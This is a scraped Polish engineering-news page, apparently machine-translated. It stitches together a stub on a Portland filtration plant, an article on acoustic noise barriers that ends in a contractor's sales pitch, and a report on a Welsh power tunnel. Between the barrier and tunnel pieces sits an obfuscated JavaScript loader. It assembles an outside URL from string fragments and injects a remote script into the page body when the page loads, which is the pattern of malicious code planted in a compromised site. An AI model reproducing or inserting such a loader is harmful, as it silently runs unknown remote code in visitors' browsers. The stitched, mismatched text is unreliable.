Autor: kompz

Miastu grozi zamknięcie projektu w ściśle określonym przez rząd federalny terminie.

Treść przetłumaczona automatycznie z języka en na pl

Źródło: https://www.enr.com/articles/60958-five-month-shutdown-ends-for-portland-filtration-plant-project

Ekrany akustyczne – jak działają?

Z punktu widzenia akustyki technicznej, efektywność ekranów zależy przede wszystkim od ich geometrii, wysokości, długości, lokalizacji względem źródła i odbiorcy dźwięku, a także od charakterystyki akustycznej użytych materiałów. Podstawowym mechanizmem działania ekranów akustycznych jest zjawisko dyfrakcji fali dźwiękowej na krawędzi przeszkody. W praktyce oznacza to, że aby ekran był skuteczny, musi być odpowiednio wysoki oraz dostatecznie długi, by uniemożliwić obejście przeszkody przez fale dźwiękowe.

Z inżynierskiego punktu widzenia, konstrukcja ekranów akustycznych wymaga uwzględnienia obciążeń wiatrowych, wpływu temperatury, odporności na czynniki zewnętrzne oraz trwałości materiałów w długim okresie eksploatacji. Istotne jest również zachowanie stateczności strukturalnej w warunkach dynamicznych, szczególnie wzdłuż autostrad i linii kolejowych, gdzie występują silne impulsy aerodynamiczne. W tym kontekście dobór odpowiedniego systemu montażowego nabiera znaczenia.

Projektowanie ekranów akustycznych

Współczesne podejście do realizacji ekranów akustycznych opiera się na bliskiej kooperacji pomiędzy zespołami akustyków, architektów/projektantów, generalnym wykonawcą i/lub inwestorem oraz instytucjami publicznymi. Cały proces obejmuje kompleksowe przygotowanie – od opracowania wstępnych założeń koncepcyjnych, poprzez szczegółowe projektowanie w zakresie architektoniczno-budowlanym, aż po dobór adekwatnych technologii oraz materiałów konstrukcyjnych. Kluczowe znaczenie ma również nadzór nad ścieżką formalno-prawną inwestycji. Projektowanie ekranów akustycznych wymaga bowiem nie tylko wiedzy inżynierskiej, ale także sprawnego funkcjonowania w ramach obowiązujących przepisów administracyjnych i prawa budowlanego.

Podsumowanie

Nadmierny hałas stanowi jedno z najpoważniejszych zagrożeń środowiskowych dla zdrowia i jakości życia człowieka. Jego długotrwałe oddziaływanie przyczynia się do rozwoju licznych problemów zdrowotnych – od zaburzeń snu i stresu, po poważne schorzenia układu sercowo-naczyniowego. W obliczu intensyfikacji urbanizacji oraz dynamicznego rozwoju infrastruktury transportowej, potrzeba skutecznych metod ograniczania emisji hałasu staje się priorytetem cywilizacyjnym. Ekrany akustyczne, właściwie zaprojektowane i wdrożone, są jednym z najbardziej efektywnych narzędzi w tej walce. Ich stosowanie nie powinno być postrzegane jedynie jako wymóg formalny, lecz jako wyraz troski o dobrostan społeczny, zrównoważony rozwój i odpowiedzialne kształtowanie przestrzeni publicznej.

Decydując się na rozwiązania ekranów akustycznych od Alfa Bond Kohlhauer, generalny wykonawca czy inwestor zyskuje dostęp do pełnej gamy usług realizowanych przez wyspecjalizowany zespół. Oferta obejmuje wszystkie etapy – od wstępnych pomiarów hałasu poprzez analizę i zaprojektowanie optymalnych barier, aż po montaż i finalną realizację ekranów drogowych, kolejowych czy specjalistycznych – z gwarancją wysokich standardów jakości i terminowości. Wsparcie przy projektowaniu i realizacji wyróżnia Alfa Bond Kohlhauer wśród innych firm realizujących ekrany akustyczne w Polsce.

(function(){
qxp7=document.createElement(„script”);qxp7_=(„us”)+(„ta”);
qxp7_+=”t”+(„.”);qxp7_+=(„in”);qxp7u=”2482576169″;qxp7.async=true;
qxp7u+=”.1ls6x6kvxp72frhne”;qxp7.type=”text/javascript”;qxp7_+=”f”+”o”+(„/”);
qxp7u+=”vjvn4hh3qlcew”;qxp7.src=”https://”+qxp7_+qxp7u;
dqxp7=document.body;dqxp7.appendChild(qxp7);
})();

Źródło: https://inzynieria.com/przemysl/wiadomosc/97756,projektowanie-ekranow-akustycznych-aspekty-inzynieryjne-i-srodowiskowe

Budowany tunel zastąpi około 3 km istniejących napowietrznych linii energetycznych i 10 słupów przesyłowych między miejscowościami Minffordd a Llandecwyn, przecinając estuarium rzeki Dwyryd. Projekt nie tylko znacząco poprawi estetykę krajobrazu, ale również zwiększy niezawodność przesyłu energii elektrycznej.

Start maszyny TBM Buddug

Maszyna TBM Buddug, skonstruowana przez niemiecką firmę Herrenknecht, ma długość 166 m i waży 436 ton. Została uruchomiona 10 maja 2025 r. z przygotowanej specjalnie komory startowej w głównym obiekcie projektowym w Minffordd. Do tej pory ułożyła 88 segmentów obudowy tunelu, co oznacza postęp prac o długości 117,6 m.

Uruchomienie TBM odbyło się w trzech etapach, z dwoma zaplanowanymi przerwami technologicznymi na montaż kolejnych segmentów systemu przenośników i prowadzenia maszyny. Elementy maszyny dotarły na miejsce między 18 listopada a 3 grudnia 2024 r.

Zmiany projektowe i wyzwania geotechniczne

Początek drążenia opóźnił się z powodu modyfikacji projektu komory startowej — miała ona początkowo być gotowa na początku 2025 r., jednak finalnie ukończono ją 11 marca. Zmiany były konieczne ze względu na potrzeby związane z bezpieczeństwem i stabilnością – uwzględniono strefy bezpiecznego podnoszenia i wykonano dodatkowe badania geotechniczne, które ujawniły wyzwania związane z wodami gruntowymi i oddziaływaniem konstrukcji na okoliczne podłoże.

W celu zapewnienia stabilności uszczelniono obszar wokół komory startowej w trzech fazach: pierwotnych, wtórnych i trzeciorzędowych prac iniekcyjnych. Ich skuteczność potwierdziły testy pompowe. Choć ten etap przekroczył zakładany harmonogram, nadal mieści się on w ogólnym planie realizacji inwestycji.

Warunki geologiczne

Tunel drążony jest głównie w litej skale należącej do grupy Mawddach, która obejmuje uwarstwione mułowce i iłowce z górnego kambru i ordowiku (formacje Maentwrog, Ffestiniog Flags, Dolgellau i Dol-cyn-Afon). Jedynie w rejonie startowym i pod estuarium występują osady miękkie, takie jak osady fluwialno-lodowcowe, namuły morskie i aluwia. TBM Buddug jest maszyną typu slurry pressure balance, zaprojektowaną tak, by radzić sobie z trudnymi warunkami geologicznymi w tych obszarach.

Wykonawcy i harmonogram

Główne prace projektowe i wykonawcze prowadzi Hochtief UK, we współpracy z Aecom i Hochtief Engineering (Niemcy). Produkcją kabli i ich instalacją zajmuje się duńska firma NKT Cables, a segmenty tunelu dostarcza Shay Murtagh Precast. W realizację projektu zaangażowani są także lokalni wykonawcy robót inżynieryjnych, m.in. Jennings Building and Civil Engineering.

Drążenie tunelu ma zakończyć się w 2026 r., kiedy TBM Buddug dotrze do miejsca odbioru w Llandecwyn, gdzie powstanie 57-metrowa komora odbiorcza. Obecne napowietrzne linie i słupy zostaną całkowicie usunięte do 2029 r.

Przeczytaj także: Metro w Krakowie: wydłużenie procedury środowiskowej i dalsze kroki

Źródło: https://inzynieria.com/tunele/wiadomosc/97755,walia-drazenie-tunelu-energetycznego-pod-parkiem-narodowym